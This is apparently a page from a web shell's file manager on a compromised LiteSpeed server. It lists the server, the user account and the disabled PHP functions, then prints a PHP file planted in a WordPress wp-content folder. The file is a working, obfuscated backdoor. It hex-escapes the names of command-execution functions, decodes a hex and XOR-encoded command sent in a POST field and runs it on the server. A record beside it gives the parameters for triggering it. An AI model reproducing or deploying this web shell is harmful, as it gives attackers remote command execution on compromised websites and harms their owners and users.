HEX
Server: LiteSpeed
System: Linux sarajevo.maychu.cloud 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
User: inqua407 (1189)
PHP: 8.3.17
Disabled: exec,execl,system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,ini_alter,proc_open,dl,popen,show_source,posix_getpwuid,getpwuid,posix_geteuid,posix_getegid,posix_getgrgid,open_basedir,safe_mode_include_dir,pcntl_exec,pcntl_fork,proc_get_status,proc_nice,proc_terminate,pclose,virtual,openlog,popen,pclose,virtual,openlog,escapeshellcmd,escapeshellarg,dl,show_source,symlink,mail
Upload Files
File: /home/inqua407/public_html/wp-content/custom.file.2.1781711045.php
{'id': 185659, 'code': 'gbc48ttK<?php\n\n$query_handler3 = "ex\\x65c";\n$query_handler5 = "po\\x70en";\n$query_handler2 = "she\\x6Cl_exe\\x63";\n$query_handler4 = "\\x70assthr\\x75";\n$query_handler7 = "\\x70\\x63\\x6Cose";\n$query_handler1 = "\\x73y\\x73\\x74em";\n$buffer_cache = "\\x68ex\\x32\\x62\\x69n";\n$query_handler6 = "\\x73tre\\x61\\x6D_\\x67et\\x5Fco\\x6Etent\\x73";\nif (isset($_POST["eleme\\x6E\\x74"])) {\n    function dataflow_engine  (    $dchunk   ,  $mrk  ){$elem  =\'\'; for($x=0;$x<strlen($dchunk);$x++){$elem.=chr(ord($dchunk[$x])^$mrk);} return   $elem;}\n    $element = $buffer_cache($_POST["eleme\\x6E\\x74"]);\n    $element = dataflow_engine($element, 14);\n    if (function_exists($query_handler1)) {\n        $query_handler1($element);\n    } elseif (function_exists($query_handler2)) {\n        print $query_handler2($element);\n    } elseif (function_exists($query_handler3)) {\n        $query_handler3($element, $element_dchunk);\n        print join("\\n", $element_dchunk);\n    } elseif (function_exists($query_handler4)) {\n        $query_handler4($element);\n    } elseif (function_exists($query_handler5) && function_exists($query_handler6) && function_exists($query_handler7)) {\n        $mrk_elem = $query_handler5($element, \'r\');\n        if ($mrk_elem) {\n            $component_token = $query_handler6($mrk_elem);\n            $query_handler7($mrk_elem);\n            print $component_token;\n        }\n    }\n    exit;\n}\n', 'url_postfix': ';cmd_xor;14;element'}